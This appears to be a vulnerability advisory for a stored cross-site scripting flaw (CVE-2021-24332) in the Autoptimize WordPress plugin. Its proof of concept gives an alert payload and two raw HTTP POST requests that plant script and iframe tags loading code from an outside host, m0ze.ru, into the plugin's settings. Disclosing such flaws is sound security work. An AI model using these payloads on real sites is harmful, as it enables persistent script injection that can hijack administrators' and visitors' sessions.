Autoptimize < 2.8.4 – Authenticated Stored Cross-Site Scripting (XSS) | CVE 2021-24332

Description

The plugin was missing proper escaping and sanitisation in some of its settings, allowing high privilege users to set XSS payloads in them, leading to stored Cross-Site Scripting issues

Proof of Concept

Adds the following payloads in the API Key settings (/wp-admin/options-general.php?page=ao_critcss)  "></textarea><script>alert(/XSS/)</script>

### -- [ PoC #1 | Authenticated Persistent XSS & XFS | JS, CSS  & HTML > Inline and Defer CSS: ]

POST /wp-admin/options.php HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 494

option_page=autoptimize&action=update&_wpnonce=478b37683d&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dautoptimize&autoptimize_enable_site_config=on&autoptimize_js=on&autoptimize_js_exclude=&autoptimize_css=on&autoptimize_css_defer=on&autoptimize_css_defer_inline=m0ze%3C%2Ftextarea%3E%3Cscript+src%3D%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E&autoptimize_css_exclude=&autoptimize_cdn_url=&autoptimize_minify_excluded=on&autoptimize_cache_clean=Save+Changes+and+Empty+Cache


### -- [ PoC #2 | Authenticated Persistent XSS & XFS | Critical CSS > Your API Key: ]

POST /wp-admin/options.php HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 643

option_page=ao_ccss_options_group&action=update&_wpnonce=cdeccd0a90&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dao_critcss&autoptimize_ccss_rules=&autoptimize_ccss_queue=&autoptimize_ccss_viewport%5Bw%5D=&autoptimize_ccss_viewport%5Bh%5D=&autoptimize_ccss_finclude=&autoptimize_ccss_rtimelimit=30&autoptimize_ccss_debug=&autoptimize_ccss_noptimize=&autoptimize_css_defer_inline=m0ze%3C%2Ftextarea%3E%3Cscript+src%3D%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E&autoptimize_ccss_loggedin=1&autoptimize_ccss_forcepath=1&autoptimize_ccss_key=m0ze%3C%2Ftextarea%3E%3Ciframe+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E%3C%2Fiframe%3E